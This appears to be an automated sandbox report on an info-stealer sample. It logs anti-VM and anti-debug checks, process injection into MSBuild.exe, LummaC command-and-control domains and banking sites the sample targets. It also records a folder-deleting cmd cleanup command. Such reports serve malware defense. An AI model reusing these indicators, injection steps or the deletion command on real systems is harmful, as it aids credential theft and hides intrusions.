Source: BKEBFH.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: BKEBFH.9.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: BKEBFH.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: BKEBFH.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: BKEBFH.9.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: BKEBFH.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: BKEBFH.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: MSBuild.exe, 00000009.00000002.2633668916.0000000001458000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(GM
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: BKEBFH.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: BKEBFH.9.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: BKEBFH.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: MSBuild.exe, 00000013.00000002.2613359743.000000000123D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: BKEBFH.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_9-69266
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_9-69250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_9-70595

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\AEHIDAKECF.exe	Process queried: DebugPort
Source: C:\ProgramData\AEHIDAKECF.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe

Code function: 0_2_005A7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_005A7922

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

9_2_00418A9A

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005A2003 mov edi, dword ptr fs:[00000030h]	0_2_005A2003
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005BA64C mov eax, dword ptr fs:[00000030h]	0_2_005BA64C
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005B0F2E mov ecx, dword ptr fs:[00000030h]	0_2_005B0F2E
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_00842003 mov edi, dword ptr fs:[00000030h]	8_2_00842003
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0086E385 mov eax, dword ptr fs:[00000030h]	8_2_0086E385
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0086E362 mov eax, dword ptr fs:[00000030h]	8_2_0086E362
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0086E37A mov eax, dword ptr fs:[00000030h]	8_2_0086E37A
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_008855BC mov eax, dword ptr fs:[00000030h]	8_2_008855BC
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0085A64C mov eax, dword ptr fs:[00000030h]	8_2_0085A64C
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_00850F2E mov ecx, dword ptr fs:[00000030h]	8_2_00850F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_004014AD mov eax, dword ptr fs:[00000030h]	9_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040148A mov eax, dword ptr fs:[00000030h]	9_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_004014A2 mov eax, dword ptr fs:[00000030h]	9_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_004186E3 mov eax, dword ptr fs:[00000030h]	9_2_004186E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_004186E4 mov eax, dword ptr fs:[00000030h]	9_2_004186E4
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_00842003 mov edi, dword ptr fs:[00000030h]	13_2_00842003
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0086E385 mov eax, dword ptr fs:[00000030h]	13_2_0086E385
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0086E362 mov eax, dword ptr fs:[00000030h]	13_2_0086E362
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0086E37A mov eax, dword ptr fs:[00000030h]	13_2_0086E37A
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_008855BC mov eax, dword ptr fs:[00000030h]	13_2_008855BC
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0085A64C mov eax, dword ptr fs:[00000030h]	13_2_0085A64C
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_00850F2E mov ecx, dword ptr fs:[00000030h]	13_2_00850F2E

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe

Code function: 0_2_005BCC4B GetProcessHeap,

0_2_005BCC4B

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005A7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_005A7922
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005ADA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_005ADA73
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005A7AAF SetUnhandledExceptionFilter,	0_2_005A7AAF
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005A7610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_005A7610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00406AA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00406AA4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00406F6F SetUnhandledExceptionFilter,	2_2_00406F6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00406DDF IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00406DDF
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_00847610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00847610
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_00847922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00847922
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_00847AAF SetUnhandledExceptionFilter,	8_2_00847AAF
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0084DA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0084DA73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0041D160 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0041D160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0041DADC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_0041DADC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0042777E SetUnhandledExceptionFilter,	9_2_0042777E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA9B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_6CA9B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA9B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_6CA9B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CCEAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_6CCEAC62
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_00847610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00847610
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_00847922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00847922
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_00847AAF SetUnhandledExceptionFilter,	13_2_00847AAF
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0084DA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_0084DA73

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 22594e132764.exe PID: 6980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 22594e132764.exe PID: 7656, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\AEHIDAKECF.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe

Code function: 0_2_005D8265 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_005D8265

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\AEHIDAKECF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: AEHIDAKECF.exe, 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: wickedneatr.sbs
Source: AEHIDAKECF.exe, 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: invinjurhey.sbs
Source: AEHIDAKECF.exe, 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: laddyirekyi.sbs
Source: AEHIDAKECF.exe, 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: exilepolsiy.sbs
Source: AEHIDAKECF.exe, 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: bemuzzeki.sbs
Source: AEHIDAKECF.exe, 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: exemplarou.sbs
Source: AEHIDAKECF.exe, 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: isoplethui.sbs
Source: AEHIDAKECF.exe, 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: frizzettei.sbs

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		9_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		9_2_0041257F

Writes to foreign memory regions

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 408000	Jump to behavior
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 40B000	Jump to behavior
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 40C000	Jump to behavior
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 40D000	Jump to behavior
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: C63008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 430000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43D000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 670000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 671000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: E84008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 430000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43D000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 670000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 671000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: B45008	Jump to behavior
Source: C:\ProgramData\AEHIDAKECF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000
Source: C:\ProgramData\AEHIDAKECF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000
Source: C:\ProgramData\AEHIDAKECF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44B000
Source: C:\ProgramData\AEHIDAKECF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44E000
Source: C:\ProgramData\AEHIDAKECF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 45E000
Source: C:\ProgramData\AEHIDAKECF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: C9E008

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe "C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\AEHIDAKECF.exe "C:\ProgramData\AEHIDAKECF.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\AFIDGDBGCAAF" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\ProgramData\AEHIDAKECF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe

Code function: 0_2_005D3AD3 cpuid

0_2_005D3AD3

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_005BC814
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_005BC085
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: GetLocaleInfoW,	0_2_005BC91A
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_005BC9E9
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: GetLocaleInfoW,	0_2_005B622B
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: EnumSystemLocalesW,	0_2_005BC372
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: EnumSystemLocalesW,	0_2_005BC327
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: EnumSystemLocalesW,	0_2_005BC40D
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_005BC498
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: EnumSystemLocalesW,	0_2_005B5D7F
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: GetLocaleInfoW,	0_2_005BC6EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoEx,FormatMessageA,	2_2_0040607E
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	8_2_0085C085
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: GetLocaleInfoW,	8_2_0085622B
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: EnumSystemLocalesW,	8_2_0085C327
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: EnumSystemLocalesW,	8_2_0085C372
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	8_2_0085C498
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,__calloc_crt,_free,	8_2_0089240B
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: EnumSystemLocalesW,	8_2_0085C40D
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	8_2_0089459E
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: GetLocaleInfoW,	8_2_0085C6EB
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_0085C814
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_0085C9E9
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: GetLocaleInfoW,	8_2_0085C91A
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,	8_2_00896A78
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	8_2_00897B68
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	8_2_00896D96
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	8_2_00895DEC
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: EnumSystemLocalesW,	8_2_00855D7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	9_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_0042B21C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	9_2_0042B311
